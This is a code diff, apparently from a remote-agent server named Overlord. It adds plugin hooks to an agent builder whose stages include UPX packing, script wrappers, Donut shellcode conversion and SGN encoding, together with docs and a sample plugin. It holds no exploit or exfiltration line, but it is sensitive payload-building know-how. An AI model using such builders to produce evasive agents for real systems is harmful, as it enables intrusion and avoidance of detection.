onBuildAfterUpx?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildBeforeScriptWrapper?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildAfterScriptWrapper?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildBeforeIpa?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildAfterIpa?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildBeforeDonut?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildAfterDonut?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildBeforeLinuxShellcode?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildAfterLinuxShellcode?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildBeforeSgn?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildAfterSgn?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildBeforeSgnTxt?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildAfterSgnTxt?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildArtifact?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildComplete?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildFailed?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
teardown?: (ctx: PluginContext) => unknown | Promise<unknown>;
|
||||
};
|
||||
|
||||
@@ -118,6 +139,49 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
||||
return;
|
||||
}
|
||||
|
||||
if (msg.type === "build_hook") {
|
||||
if (!plugin || !ctx) {
|
||||
send({ type: "build_hook_reply", id: msg.id, ok: false, error: "Plugin not initialised" });
|
||||
return;
|
||||
}
|
||||
const handler =
|
||||
plugin.buildHooks?.[msg.hook] ||
|
||||
(msg.hook === "prepare" ? plugin.onBuildPrepare : undefined) ||
|
||||
(msg.hook === "target" ? plugin.onBuildTarget : undefined) ||
|
||||
(msg.hook === "post_build" ? plugin.onBuildPostBuild : undefined) ||
|
||||
(msg.hook === "before_upx" ? plugin.onBuildBeforeUpx : undefined) ||
|
||||
(msg.hook === "after_upx" ? plugin.onBuildAfterUpx : undefined) ||
|
||||
(msg.hook === "before_script_wrapper" ? plugin.onBuildBeforeScriptWrapper : undefined) ||
|
||||
(msg.hook === "after_script_wrapper" ? plugin.onBuildAfterScriptWrapper : undefined) ||
|
||||
(msg.hook === "before_ipa" ? plugin.onBuildBeforeIpa : undefined) ||
|
||||
(msg.hook === "after_ipa" ? plugin.onBuildAfterIpa : undefined) ||
|
||||
(msg.hook === "before_donut" ? plugin.onBuildBeforeDonut : undefined) ||
|
||||
(msg.hook === "after_donut" ? plugin.onBuildAfterDonut : undefined) ||
|
||||
(msg.hook === "before_linux_shellcode" ? plugin.onBuildBeforeLinuxShellcode : undefined) ||
|
||||
(msg.hook === "after_linux_shellcode" ? plugin.onBuildAfterLinuxShellcode : undefined) ||
|
||||
(msg.hook === "before_sgn" ? plugin.onBuildBeforeSgn : undefined) ||
|
||||
(msg.hook === "after_sgn" ? plugin.onBuildAfterSgn : undefined) ||
|
||||
(msg.hook === "before_sgn_txt" ? plugin.onBuildBeforeSgnTxt : undefined) ||
|
||||
(msg.hook === "after_sgn_txt" ? plugin.onBuildAfterSgnTxt : undefined) ||
|
||||
(msg.hook === "artifact" ? plugin.onBuildArtifact : undefined) ||
|
||||
(msg.hook === "complete" ? plugin.onBuildComplete : undefined) ||
|
||||
(msg.hook === "failed" ? plugin.onBuildFailed : undefined);
|
||||
if (typeof handler !== "function") {
|
||||
send({ type: "build_hook_reply", id: msg.id, ok: true, result: null });
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const result = await handler(ctx, msg.payload);
|
||||
send({ type: "build_hook_reply", id: msg.id, ok: true, result: result ?? null });
|
||||
} catch (err) {
|
||||
const error = err instanceof Error ? err.message : String(err);
|
||||
const stack = err instanceof Error ? err.stack || "" : "";
|
||||
console.error(`[plugin-worker] build hook ${msg.hook} error: ${error}`, stack);
|
||||
send({ type: "build_hook_reply", id: msg.id, ok: false, error });
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (msg.type === "shutdown") {
|
||||
if (plugin && ctx && typeof plugin.teardown === "function") {
|
||||
try {
|
||||
|
||||
@@ -195,6 +195,7 @@ export async function ensurePluginExtracted(
|
||||
|
||||
const runtime = normalizePluginRuntime(extraConfig.runtime, wasmEntry !== null);
|
||||
const needs = normalizePluginNeeds(extraConfig.needs);
|
||||
const build = normalizePluginBuildIntegration(extraConfig.build);
|
||||
const manifest: PluginManifest = {
|
||||
id: safeId,
|
||||
name: extraConfig.name || safeId,
|
||||
@@ -212,6 +213,7 @@ export async function ensurePluginExtracted(
|
||||
js: `${safeId}.js`,
|
||||
},
|
||||
...(extraConfig.navbar && { navbar: extraConfig.navbar }),
|
||||
...(build && { build }),
|
||||
hasServer: serverEntry !== null || !!serverTsEntry,
|
||||
};
|
||||
await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
|
||||
@@ -622,6 +624,71 @@ function normalizePluginRuntime(runtime: any, hasWasm: boolean): "native" | "was
|
||||
return "native";
|
||||
}
|
||||
|
||||
function normalizePluginBuildIntegration(raw: any): any | undefined {
|
||||
if (!raw || typeof raw !== "object") return undefined;
|
||||
const build: any = {};
|
||||
if (typeof raw.enabledByDefault === "boolean") build.enabledByDefault = raw.enabledByDefault;
|
||||
if (typeof raw.label === "string" && raw.label.trim()) build.label = raw.label.trim().slice(0, 80);
|
||||
if (typeof raw.description === "string" && raw.description.trim()) build.description = raw.description.trim().slice(0, 300);
|
||||
|
||||
const settings: any[] = [];
|
||||
if (Array.isArray(raw.settings)) {
|
||||
for (const item of raw.settings.slice(0, 20)) {
|
||||
if (!item || typeof item !== "object") continue;
|
||||
const key = typeof item.key === "string" ? item.key.trim() : "";
|
||||
if (!/^[A-Za-z0-9_.-]{1,64}$/.test(key)) continue;
|
||||
const type = typeof item.type === "string" ? item.type.trim().toLowerCase() : "string";
|
||||
if (!["string", "number", "boolean", "select", "textarea"].includes(type)) continue;
|
||||
const setting: any = { key, type };
|
||||
if (typeof item.label === "string" && item.label.trim()) setting.label = item.label.trim().slice(0, 80);
|
||||
if (typeof item.placeholder === "string") setting.placeholder = item.placeholder.slice(0, 120);
|
||||
if (typeof item.description === "string" && item.description.trim()) setting.description = item.description.trim().slice(0, 240);
|
||||
if (typeof item.required === "boolean") setting.required = item.required;
|
||||
if (typeof item.min === "number" && Number.isFinite(item.min)) setting.min = item.min;
|
||||
if (typeof item.max === "number" && Number.isFinite(item.max)) setting.max = item.max;
|
||||
if (item.default !== undefined) setting.default = item.default;
|
||||
if (Array.isArray(item.options)) {
|
||||
const options = item.options.slice(0, 50).map((opt: any) => {
|
||||
if (typeof opt === "string") return opt.slice(0, 120);
|
||||
if (opt && typeof opt === "object" && typeof opt.value === "string") {
|
||||
return {
|
||||
value: opt.value.slice(0, 120),
|
||||
...(typeof opt.label === "string" && { label: opt.label.slice(0, 120) }),
|
||||
};
|
||||
}
|
||||
return null;
|
||||
}).filter(Boolean);
|
||||
if (options.length > 0) setting.options = options;
|
||||
}
|
||||
settings.push(setting);
|
||||
}
|
||||
}
|
||||
if (settings.length > 0) build.settings = settings;
|
||||
|
||||
const actions: any[] = [];
|
||||
if (Array.isArray(raw.actions)) {
|
||||
for (const item of raw.actions.slice(0, 12)) {
|
||||
if (!item || typeof item !== "object") continue;
|
||||
const id = typeof item.id === "string" ? item.id.trim() : "";
|
||||
const label = typeof item.label === "string" ? item.label.trim() : "";
|
||||
if (!/^[A-Za-z0-9_.-]{1,64}$/.test(id) || !label) continue;
|
||||
actions.push({
|
||||
id,
|
||||
label: label.slice(0, 80),
|
||||
...(typeof item.icon === "string" && { icon: item.icon.trim().slice(0, 80) }),
|
||||
...(typeof item.description === "string" && { description: item.description.trim().slice(0, 240) }),
|
||||
...(item.setBuild && typeof item.setBuild === "object" && !Array.isArray(item.setBuild) && { setBuild: item.setBuild }),
|
||||
...(item.setSettings && typeof item.setSettings === "object" && !Array.isArray(item.setSettings) && { setSettings: item.setSettings }),
|
||||
...(Array.isArray(item.requires) && { requires: item.requires.slice(0, 20) }),
|
||||
});
|
||||
}
|
||||
}
|
||||
if (actions.length > 0) build.actions = actions;
|
||||
if (Array.isArray(raw.requires)) build.requires = raw.requires.slice(0, 20);
|
||||
|
||||
return Object.keys(build).length > 0 ? build : undefined;
|
||||
}
|
||||
|
||||
export function detectPluginIdFromZip(zip: any): string | null {
|
||||
const entries = zip.getEntries();
|
||||
for (const entry of entries) {
|
||||
|
||||
@@ -21,7 +21,7 @@ import { logger } from "../../logger";
|
||||
import { normalizeClientOs } from "../deploy-utils";
|
||||
import { canUserBuild, recordBuildStart, recordBuildEnd } from "../../build-rate-limit";
|
||||
import { getConfig } from "../../config";
|
||||
import { canUploadFiles } from "../../users";
|
||||
import { canUploadFiles, canUserAccessPlugin } from "../../users";
|
||||
import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing";
|
||||
import path from "path";
|
||||
import fs from "fs";
|
||||
@@ -37,8 +37,93 @@ type BuildRouteDeps = {
|
||||
startBuildProcess: (buildId: string, config: any) => Promise<void>;
|
||||
sanitizeMutex: (value?: string) => string | undefined;
|
||||
allowedPlatforms: Set<string>;
|
||||
listPluginManifests?: () => Promise<any[]>;
|
||||
};
|
||||
|
||||
function getPathValue(source: any, dotted: string): any {
|
||||
if (!source || !dotted) return undefined;
|
||||
return dotted.split(".").reduce((cur, key) => (cur && typeof cur === "object" ? cur[key] : undefined), source);
|
||||
}
|
||||
|
||||
function requirementMet(req: any, buildConfig: any, pluginSettings: any): boolean {
|
||||
if (!req || typeof req !== "object") return true;
|
||||
let value: any;
|
||||
if (typeof req.field === "string") value = getPathValue(buildConfig, req.field);
|
||||
else if (typeof req.pluginSetting === "string") value = getPathValue(pluginSettings, req.pluginSetting);
|
||||
else if (Array.isArray(req.platforms)) {
|
||||
const platforms = Array.isArray(buildConfig.platforms) ? buildConfig.platforms : [];
|
||||
return req.platforms.some((p: any) => typeof p === "string" && platforms.includes(p));
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
if (req.truthy === true && !value) return false;
|
||||
if (req.falsy === true && value) return false;
|
||||
if (Object.prototype.hasOwnProperty.call(req, "equals") && value !== req.equals) return false;
|
||||
if (Object.prototype.hasOwnProperty.call(req, "notEquals") && value === req.notEquals) return false;
|
||||
if (Object.prototype.hasOwnProperty.call(req, "includes")) {
|
||||
if (!Array.isArray(value) || !value.includes(req.includes)) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
function sanitizePluginBuildValue(setting: any, value: any): any {
|
||||
const type = typeof setting?.type === "string" ? setting.type : "string";
|
||||
if (value === undefined || value === null || value === "") {
|
||||
return setting?.default !== undefined ? setting.default : undefined;
|
||||
}
|
||||
if (type === "boolean") return value === true || value === "true" || value === "1";
|
||||
if (type === "number") {
|
||||
const n = Number(value);
|
||||
if (!Number.isFinite(n)) return setting?.default !== undefined ? setting.default : undefined;
|
||||
const min = typeof setting.min === "number" ? setting.min : -1_000_000_000;
|
||||
const max = typeof setting.max === "number" ? setting.max : 1_000_000_000;
|
||||
return Math.max(min, Math.min(max, n));
|
||||
}
|
||||
const str = String(value).slice(0, type === "textarea" ? 10_000 : 1_000);
|
||||
if (type === "select" && Array.isArray(setting.options)) {
|
||||
const allowed = new Set(setting.options.map((opt: any) => typeof opt === "string" ? opt : opt?.value).filter((v: any) => typeof v === "string"));
|
||||
return allowed.has(str) ? str : setting.default;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
async function sanitizeBuildPlugins(
|
||||
raw: any,
|
||||
deps: BuildRouteDeps,
|
||||
user: any,
|
||||
buildConfig: any,
|
||||
): Promise<{ value: Record<string, any>; error?: string }> {
|
||||
if (!raw || typeof raw !== "object" || !deps.listPluginManifests) return { value: {} };
|
||||
const manifests = await deps.listPluginManifests();
|
||||
const byId = new Map(manifests.map((m) => [m.id, m]));
|
||||
const value: Record<string, any> = {};
|
||||
for (const [pluginId, rawPlugin] of Object.entries(raw)) {
|
||||
if (!/^[A-Za-z0-9._-]{1,128}$/.test(pluginId)) continue;
|
||||
const manifest = byId.get(pluginId);
|
||||
if (!manifest?.build || !canUserAccessPlugin(user.userId, user.role, pluginId)) continue;
|
||||
const rawRecord = rawPlugin && typeof rawPlugin === "object" ? rawPlugin as any : {};
|
||||
const enabled = rawRecord.enabled !== false;
|
||||
const settings: Record<string, any> = {};
|
||||
for (const setting of Array.isArray(manifest.build.settings) ? manifest.build.settings : []) {
|
||||
if (!setting || typeof setting.key !== "string") continue;
|
||||
const sanitized = sanitizePluginBuildValue(setting, rawRecord.settings?.[setting.key]);
|
||||
if (enabled && setting.required && (sanitized === undefined || sanitized === "")) {
|
||||
return { value: {}, error: `Build plugin ${manifest.name || pluginId} requires ${setting.label || setting.key}` };
|
||||
}
|
||||
if (sanitized !== undefined) settings[setting.key] = sanitized;
|
||||
}
|
||||
value[pluginId] = { enabled, settings };
|
||||
if (enabled) {
|
||||
for (const req of Array.isArray(manifest.build.requires) ? manifest.build.requires : []) {
|
||||
if (!requirementMet(req, buildConfig, settings)) {
|
||||
return { value: {}, error: req.message || `Build plugin ${manifest.name || pluginId} requirements are not met` };
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return { value };
|
||||
}
|
||||
|
||||
export async function handleBuildRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -120,6 +205,7 @@ export async function handleBuildRoutes(
|
||||
outputSgnTxt,
|
||||
fetchPublicIP,
|
||||
uploadToFileShare,
|
||||
buildPlugins,
|
||||
} = body;
|
||||
|
||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||
@@ -377,7 +463,7 @@ export async function handleBuildRoutes(
|
||||
const rateLimitActive = getConfig().registration.mode !== "off";
|
||||
if (rateLimitActive) recordBuildStart(user.userId);
|
||||
|
||||
deps.startBuildProcess(buildId, {
|
||||
const safeBuildConfig: any = {
|
||||
platforms: allowedPlatforms,
|
||||
serverUrl: safeServerUrl,
|
||||
rawServerList: safeRawServerList,
|
||||
@@ -424,13 +510,42 @@ export async function handleBuildRoutes(
|
||||
outputSgnTxt: safeOutputSgnTxt,
|
||||
fetchPublicIP: !!fetchPublicIP,
|
||||
uploadToFileShare: safeUploadToFileShare,
|
||||
}).finally(() => {
|
||||
};
|
||||
|
||||
const pluginBuildResult = await sanitizeBuildPlugins(buildPlugins, deps, user, safeBuildConfig);
|
||||
if (pluginBuildResult.error) {
|
||||
if (rateLimitActive) recordBuildEnd(user.userId);
|
||||
return Response.json({ error: pluginBuildResult.error }, { status: 400 });
|
||||
}
|
||||
safeBuildConfig.buildPlugins = pluginBuildResult.value;
|
||||
|
||||
deps.startBuildProcess(buildId, safeBuildConfig).finally(() => {
|
||||
if (rateLimitActive) recordBuildEnd(user.userId);
|
||||
});
|
||||
|
||||
return Response.json({ buildId });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/build/plugins") {
|
||||
requirePermission(user, "clients:build");
|
||||
if (!deps.listPluginManifests) {
|
||||
return Response.json({ plugins: [] });
|
||||
}
|
||||
const manifests = await deps.listPluginManifests();
|
||||
const plugins = manifests
|
||||
.filter((manifest) => manifest?.build && manifest?.hasServer === true)
|
||||
.filter((manifest) => canUserAccessPlugin(user.userId, user.role, manifest.id))
|
||||
.map((manifest) => ({
|
||||
id: manifest.id,
|
||||
name: manifest.name || manifest.id,
|
||||
runtime: manifest.runtime || "native",
|
||||
hasServer: manifest.hasServer === true,
|
||||
enabled: manifest.enabled !== false,
|
||||
build: manifest.build,
|
||||
}));
|
||||
return Response.json({ plugins });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/build/list") {
|
||||
requirePermission(user, "clients:build");
|
||||
|
||||
|
||||
@@ -164,21 +164,25 @@ export async function handlePluginRoutes(
|
||||
const plugins = await deps.listPluginManifests();
|
||||
const enriched = plugins
|
||||
.filter((p) => canUserAccessPlugin(user.userId, user.role, p.id))
|
||||
.map((p) => ({
|
||||
.map((p) => {
|
||||
const runtime = p.runtime || "native";
|
||||
const isServerOnly = runtime === "server";
|
||||
return {
|
||||
...p,
|
||||
enabled: deps.pluginState.enabled[p.id] !== false,
|
||||
lastError: deps.pluginState.lastError[p.id] || "",
|
||||
autoLoad: deps.pluginState.autoLoad[p.id] === true,
|
||||
autoStartEvents: deps.pluginState.autoStartEvents[p.id] || [],
|
||||
autoLoad: isServerOnly ? false : deps.pluginState.autoLoad[p.id] === true,
|
||||
autoStartEvents: isServerOnly ? [] : deps.pluginState.autoStartEvents[p.id] || [],
|
||||
signature: p.signature || { signed: false, trusted: false, valid: false },
|
||||
runtime: p.runtime || "native",
|
||||
runtime,
|
||||
apiVersion: p.apiVersion || 1,
|
||||
needs: p.needs || {},
|
||||
needsHash: p.needsHash || computePluginNeedsHash(p.needs),
|
||||
needsApproved: arePluginNeedsApproved(deps.pluginState, p.id, p.needs),
|
||||
hasServer: p.hasServer === true || deps.pluginRuntime.hasServerCode(p.id),
|
||||
serverRunning: deps.pluginRuntime.isRunning(p.id),
|
||||
}));
|
||||
};
|
||||
});
|
||||
return Response.json({ plugins: enriched });
|
||||
}
|
||||
|
||||
@@ -261,6 +265,7 @@ export async function handlePluginRoutes(
|
||||
const manifests = await deps.listPluginManifests();
|
||||
const plugins = manifests
|
||||
.filter((manifest) => canUserAccessPlugin(user.userId, user.role, manifest.id))
|
||||
.filter((manifest) => manifest.runtime !== "server")
|
||||
.map((manifest) => ({
|
||||
id: manifest.id,
|
||||
name: manifest.name || manifest.id,
|
||||
@@ -451,6 +456,17 @@ export async function handlePluginRoutes(
|
||||
body = await req.json();
|
||||
} catch {}
|
||||
const autoLoad = !!body.autoLoad;
|
||||
const manifest = await loadManifest(pluginId);
|
||||
|
||||
if (manifest.runtime === "server") {
|
||||
delete deps.pluginState.autoLoad[pluginId];
|
||||
delete deps.pluginState.autoStartEvents[pluginId];
|
||||
await deps.savePluginState();
|
||||
return Response.json(
|
||||
{ ok: false, error: "Server-side plugins do not support client auto-load" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
|
||||
if (autoLoad && deps.pluginState.enabled[pluginId] === false) {
|
||||
return Response.json(
|
||||
@@ -868,6 +884,13 @@ export async function handlePluginRoutes(
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const manifest = await loadManifest(pluginId);
|
||||
if (manifest.runtime === "server") {
|
||||
return Response.json(
|
||||
{ ok: false, error: "Server-side plugins do not load onto clients" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
if (deps.isPluginLoaded(targetId, pluginId)) {
|
||||
|
||||
@@ -1190,6 +1190,146 @@ export default {
|
||||
| `ctx.log` | `{debug, info, warn, error}` | Each call is forwarded to the main server logger as `[plugin:<id>] <message>`. |
|
||||
| `ctx.broadcast(channel, data)` | function | Push an event to every UI currently subscribed to this plugin's SSE stream. `data` must be JSON-serializable. |
|
||||
|
||||
### Build hooks
|
||||
|
||||
Server-side plugins can hook the agent builder without shipping any agent-side code. Only plugins with `server.js` or compiled `src/server.ts` can do this; browser UI code is never called from the build process.
|
||||
|
||||
Add any of these handlers to your default export:
|
||||
|
||||
```js
|
||||
export default {
|
||||
onBuildPrepare(ctx, payload) {
|
||||
// Runs once before the builder prepares toolchains. Return a config patch.
|
||||
return { config: { outputName: "custom-agent" } };
|
||||
},
|
||||
|
||||
onBuildTarget(ctx, payload) {
|
||||
// Runs once per target after env/ldflags/tags are assembled.
|
||||
if (payload.platform === "linux-amd64") {
|
||||
return {
|
||||
env: { CGO_ENABLED: "0" },
|
||||
addTags: ["my_feature"],
|
||||
ldflagsAppend: "-X overlord-client/cmd/agent/config.PluginChannel=stable",
|
||||
message: "linux-amd64 template patched",
|
||||
};
|
||||
}
|
||||
},
|
||||
|
||||
buildHooks: {
|
||||
before_donut(ctx, payload) {
|
||||
ctx.log.info(`Donut input: ${payload.file.filename}`);
|
||||
},
|
||||
after_donut(ctx, payload) {
|
||||
ctx.log.info(`Donut output: ${payload.file.filename}`);
|
||||
},
|
||||
before_sgn(ctx, payload) {
|
||||
ctx.log.info(`SGN iterations: ${payload.iterations}`);
|
||||
},
|
||||
after_sgn(ctx, payload) {
|
||||
ctx.log.info(`SGN output: ${payload.file.filename}`);
|
||||
},
|
||||
},
|
||||
|
||||
async onBuildArtifact(ctx, payload) {
|
||||
// Runs after each final artifact is written. Upload/copy/sign here.
|
||||
const filePath = payload.file.path;
|
||||
ctx.log.info(`artifact ready: ${filePath}`);
|
||||
return { message: `saw ${payload.file.filename}` };
|
||||
},
|
||||
|
||||
async onBuildComplete(ctx, payload) {
|
||||
// Runs after all targets are built and before the build stream completes.
|
||||
ctx.log.info(`build ${payload.buildId} produced ${payload.files.length} files`);
|
||||
},
|
||||
|
||||
onBuildFailed(ctx, payload) {
|
||||
ctx.log.warn(`build failed: ${payload.error}`);
|
||||
},
|
||||
};
|
||||
```
|
||||
|
||||
`onBuildTarget` may return:
|
||||
|
||||
| Field | Effect |
|
||||
|-------|--------|
|
||||
| `env` | Merges string values into the Go build environment. |
|
||||
| `ldflags` | Replaces the full `-ldflags` string. |
|
||||
| `ldflagsAppend` | Appends to the existing `-ldflags` string. |
|
||||
| `tags` | Replaces the full tag list. |
|
||||
| `addTags` / `removeTags` | Adds or removes build tags. |
|
||||
| `outputName` | Renames the target output file. The name is sanitized by the server. |
|
||||
| `skip: true` | Skips that target. |
|
||||
| `message` / `messages` | Writes informational lines into the build stream. |
|
||||
|
||||
The builder also emits these transform-stage hooks. You can implement them either in the `buildHooks` map using the snake-case name, or as a named method such as `onBuildBeforeDonut`.
|
||||
|
||||
| Hook | Named method | When it runs |
|
||||
|------|--------------|--------------|
|
||||
| `post_build` | `onBuildPostBuild` | After the raw Go build output exists. |
|
||||
| `before_upx` / `after_upx` | `onBuildBeforeUpx` / `onBuildAfterUpx` | Around UPX compression. |
|
||||
| `before_script_wrapper` / `after_script_wrapper` | `onBuildBeforeScriptWrapper` / `onBuildAfterScriptWrapper` | Around `.bat`, `.cmd`, and `.ps1` wrapping. |
|
||||
| `before_ipa` / `after_ipa` | `onBuildBeforeIpa` / `onBuildAfterIpa` | Around iOS IPA packaging. |
|
||||
| `before_donut` / `after_donut` | `onBuildBeforeDonut` / `onBuildAfterDonut` | Around Windows PE to shellcode conversion with Donut. |
|
||||
| `before_linux_shellcode` / `after_linux_shellcode` | `onBuildBeforeLinuxShellcode` / `onBuildAfterLinuxShellcode` | Around Linux ELF shellcode wrapping. |
|
||||
| `before_sgn` / `after_sgn` | `onBuildBeforeSgn` / `onBuildAfterSgn` | Around SGN shellcode encoding. |
|
||||
| `before_sgn_txt` / `after_sgn_txt` | `onBuildBeforeSgnTxt` / `onBuildAfterSgnTxt` | Around SGN TXT artifact conversion. |
|
||||
|
||||
Transform hook payloads include `payload.file` with `{ filename, path, platform, size }`, plus `buildId`, `platform`, `os`, `arch`, `targetKey`, `outDir`, `clientDir`, and `config`. Some stages include extras, such as `outputFilename`/`outputPath`, `donutArch`, `shellcodeArch`, or `iterations`.
|
||||
|
||||
`onBuildArtifact` receives `payload.file` with `{ name, filename, path, platform, version, size }`. It can return `file: { filename }` to point the build record at another file already inside `dist-clients`, or `files: [...]` to add extra artifacts from `dist-clients`. Paths outside the build output directory are ignored for downloadable artifact metadata, but the hook can still upload or copy files itself because server-side plugins run with normal server privileges.
|
||||
|
||||
Build plugins can declare their own builder UI in `config.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"runtime": "server",
|
||||
"build": {
|
||||
"label": "Uploader",
|
||||
"description": "Uploads completed builds to an internal bucket.",
|
||||
"enabledByDefault": true,
|
||||
"settings": [
|
||||
{
|
||||
"key": "bucket",
|
||||
"label": "Bucket",
|
||||
"type": "string",
|
||||
"required": true,
|
||||
"placeholder": "release-builds"
|
||||
},
|
||||
{
|
||||
"key": "publish",
|
||||
"label": "Publish after build",
|
||||
"type": "boolean",
|
||||
"default": false
|
||||
}
|
||||
],
|
||||
"actions": [
|
||||
{
|
||||
"id": "shellcode-release",
|
||||
"label": "Shellcode Release",
|
||||
"icon": "fa-solid fa-fire",
|
||||
"setBuild": { "useDonut": true, "useSgn": true },
|
||||
"setSettings": { "publish": true }
|
||||
}
|
||||
],
|
||||
"requires": [
|
||||
{
|
||||
"field": "useSgn",
|
||||
"truthy": true,
|
||||
"message": "Uploader release mode requires SGN to be enabled."
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Supported setting types are `string`, `textarea`, `number`, `boolean`, and `select`. The Build page saves these values with normal build profiles and sends them as:
|
||||
|
||||
```js
|
||||
payload.config.buildPlugins[ctx.pluginId] // { enabled, settings }
|
||||
```
|
||||
|
||||
Buttons declared in `build.actions` can set core builder fields through `setBuild` and plugin fields through `setSettings`. Requirements can check a core build field with `field`, a plugin setting with `pluginSetting`, or selected platforms with `platforms`.
|
||||
|
||||
### Calling the plugin from the UI
|
||||
|
||||
Plugin UI JS can call any RPC method:
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
# Sample Build Hooks Plugin
|
||||
|
||||
This is a server-side-only sample for the agent builder hook API.
|
||||
|
||||
It demonstrates:
|
||||
|
||||
- `onBuildPrepare` and `onBuildTarget` for observing build state.
|
||||
- `buildHooks.post_build` for seeing the raw Go build output.
|
||||
- `buildHooks.before_donut` and `buildHooks.after_donut` for Donut shellcode conversion.
|
||||
- `buildHooks.before_sgn` and `buildHooks.after_sgn` for SGN shellcode encoding.
|
||||
- `onBuildArtifact` for replacing the downloadable output with a `.txt` file containing `test`.
|
||||
- A custom Build Plugins button named `Build Test TXT`.
|
||||
- `onBuildComplete` and `onBuildFailed` for post-build automation.
|
||||
- A small UI that reads recent hook activity from the plugin's SQLite database.
|
||||
|
||||
Run `build.bat` from this directory to create `sample-build-hooks.zip`, then upload it on the Plugins page or place the zip where the server loads plugins.
|
||||
@@ -0,0 +1,26 @@
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
set "PLUGIN_DIR=%~dp0"
|
||||
set "PLUGIN_NAME=sample-build-hooks"
|
||||
set "ZIP_OUT=%PLUGIN_DIR%%PLUGIN_NAME%.zip"
|
||||
|
||||
if exist "%ZIP_OUT%" del /f /q "%ZIP_OUT%"
|
||||
|
||||
pushd "%PLUGIN_DIR%"
|
||||
powershell -NoProfile -ExecutionPolicy Bypass -Command "$zip = '%ZIP_OUT%'; $items = @('config.json', '%PLUGIN_NAME%.html', '%PLUGIN_NAME%.css', '%PLUGIN_NAME%.js', 'server.js'); Compress-Archive -Path $items -DestinationPath $zip -Force"
|
||||
set "ZIP_STATUS=%ERRORLEVEL%"
|
||||
popd
|
||||
if not "%ZIP_STATUS%"=="0" exit /b %ZIP_STATUS%
|
||||
|
||||
if defined PLUGIN_SIGN_KEY (
|
||||
where bun >nul 2>&1
|
||||
if not errorlevel 1 (
|
||||
echo [sign] Signing plugin with key: %PLUGIN_SIGN_KEY%
|
||||
bun run "%~dp0..\..\Overlord-Server\scripts\plugin-sign.ts" --key "%PLUGIN_SIGN_KEY%" "%ZIP_OUT%"
|
||||
) else (
|
||||
echo [warn] bun not found, skipping plugin signing
|
||||
)
|
||||
)
|
||||
|
||||
echo [ok] %ZIP_OUT%
|
||||
@@ -0,0 +1,41 @@
|
||||
.sample-build-hooks {
|
||||
display: grid;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.sample-build-hooks__header {
|
||||
align-items: center;
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.sample-build-hooks h2 {
|
||||
color: #e5e7eb;
|
||||
font-size: 18px;
|
||||
font-weight: 700;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.sample-build-hooks button {
|
||||
background: #0f766e;
|
||||
border: 1px solid #14b8a6;
|
||||
border-radius: 8px;
|
||||
color: #ecfeff;
|
||||
cursor: pointer;
|
||||
font-size: 13px;
|
||||
padding: 8px 12px;
|
||||
}
|
||||
|
||||
.sample-build-hooks pre {
|
||||
background: rgba(15, 23, 42, 0.7);
|
||||
border: 1px solid #334155;
|
||||
border-radius: 8px;
|
||||
color: #cbd5e1;
|
||||
font-size: 12px;
|
||||
margin: 0;
|
||||
min-height: 180px;
|
||||
overflow: auto;
|
||||
padding: 12px;
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
<div class="sample-build-hooks">
|
||||
<div class="sample-build-hooks__header">
|
||||
<h2>Sample Build Hooks</h2>
|
||||
<button id="sample-build-hooks-refresh" type="button">Refresh</button>
|
||||
</div>
|
||||
<pre id="sample-build-hooks-output">Loading...</pre>
|
||||
</div>
|
||||
@@ -0,0 +1,26 @@
|
||||
const output = document.getElementById("sample-build-hooks-output");
|
||||
const refreshButton = document.getElementById("sample-build-hooks-refresh");
|
||||
|
||||
async function callRpc(method, params) {
|
||||
const res = await fetch("/api/plugins/sample-build-hooks/rpc", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ method, params }),
|
||||
});
|
